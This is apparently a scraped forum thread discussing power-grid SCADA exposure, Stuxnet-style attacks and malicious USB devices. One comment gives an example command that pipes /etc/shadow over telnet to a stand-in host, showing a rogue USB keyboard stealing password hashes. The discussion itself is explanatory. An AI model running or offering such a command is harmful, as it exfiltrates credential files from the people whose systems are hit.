There may be steps involved in getting your RDP exploit to send commands over vendor proprietary RS-485 protocols, but except for certain nuclear plants that are truly air gapped, but it's fewer than you'd sleep soundly knowing about.
I once had a network admin at a major US transmission utility tell me with a straight face that all of their SCADA was pure serial as I was telnetting into the Zhone mux doing those serial channels via a WiFi connection.
Actually, we used to computer simulate operations of facility to test our DCS systems against.
There are more interesting ways, to do it:
Sounds fun, but please not in my neighbourhood ..
So better stay a couple countries away from me with experiments. Or maybe don't, better a benevolent chaos monkey than being hit unprepared by your enemy.
But the whole grid needs a rework. Also because of renewables and batteries etc. To better react do changing demand and enable a free market, where it is easy to buy and sell power.
[1] [PDF] https://www.wired.com/images_blogs/threatlevel/2010/11/w32_s...
The “silly users picking up USB sticks dropped in the parking lot” is a basically a security trope nowadays. But I feel there should be some blame associated with our operating systems too. Like why is this an axiom that if you use an untrusted USB stick you are going to get eaten by the Grue?
If an Os would say “sorry bad people got into your network, your computer is now owned by them” that would be an unacceptable security vulnerability, why is the equivalent accepted as a fact of life with “bad usb sticks”?
I understand the OS cant do much with a usb device which burns out the motherboard with an electric shock. But there is a whole set of other things it should reasonably protect itself from.
In particular, the keyboard could be typing "sudo cat /etc/shadow | telnet bad.com 80"...
If on boot it finds two keyboards it can do the same with both.
Mac OS does something like this. If, say, I attach (via either USB or Bluetooth), a presentation remote, I'll get a keyboard identifier alert.
It isn't really anything more than an alert, though, because I can ignore the ID step, and it still works.
I saw a great video years ago (which I haven't been able to locate for years) that went into detail as to how you can basically make a custom usb device arbitrarily malicious. The trick that sounded particularly good was that you can impersonate a usb device that requests a driver that has a known security vulnerability.
Fun times.
The only protection is to restrict what types of devices are allowed to connect. The kernel is not obligated to recognize any device that you attach (though of course most users will expect it to do so!). And of course some host OSes make such restrictions difficult or impossible.
I would suspect that maybe setting up a Linux box on an old unit might be a similar exercise.
Edit. There is also a more in depth Scientific American article. Search for "Hacking the Lights Out".